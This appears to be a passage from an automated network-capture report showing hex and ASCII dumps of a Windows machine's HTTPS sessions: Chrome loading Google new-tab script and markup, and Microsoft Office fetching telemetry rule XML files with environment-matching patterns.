2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-19 00:01:27 UTC	1329	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700319,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-19 00:01:27 UTC	277	IN	Data Raw: 31 30 65 0d 0a 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 Data Ascii: 10eC\n SPDX-License-Identifier: Apache-2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.subs
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6c 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 50 64 5c 75 30 30 33 Data Ascii: 8000owerCase()\u003d\u003d\u003da+\":\")};_.Md\u003dglobalThis.trustedTypes;_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Od\u003dnew _.Nd(\"about:invalid#zClosurez\");_.Kd\u003dclass{constructor(a){this.lh\u003da}};_.Pd\u003
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.be(a);return a};_.de\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6f 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 65 5b 64 5d 2c 63 29 3a 5f 2e 6a 65 28 64 2c 5c Data Ascii: )[0]\|\|null));return a\|\|null};\n_.pe\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:oe.hasOwnProperty(d)?a.setAttribute(oe[d],c):_.je(d,\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49771	142.250.74.196	443	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 00:01:27 UTC	933	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 00:01:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 00:01:27 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-19 00:01:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000127Z-16547b76f7f64d6whC1DFWf9vn000000054000000000apry x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000127Z-16547b76f7ff9zf4hC1DFW2pfc00000004500000000087fv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000127Z-16547b76f7fzwxm2hC1DFWt5hw000000046g000000001g11 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000127Z-16547b76f7fwm7vghC1DFW900s000000041g00000000q2m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000127Z-164f84587bfn7ppchC1DFW45b400000000vg00000000s8fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:28 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000128Z-16547b76f7ftfv4jhC1DFWuhug000000043g00000000e5sm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S 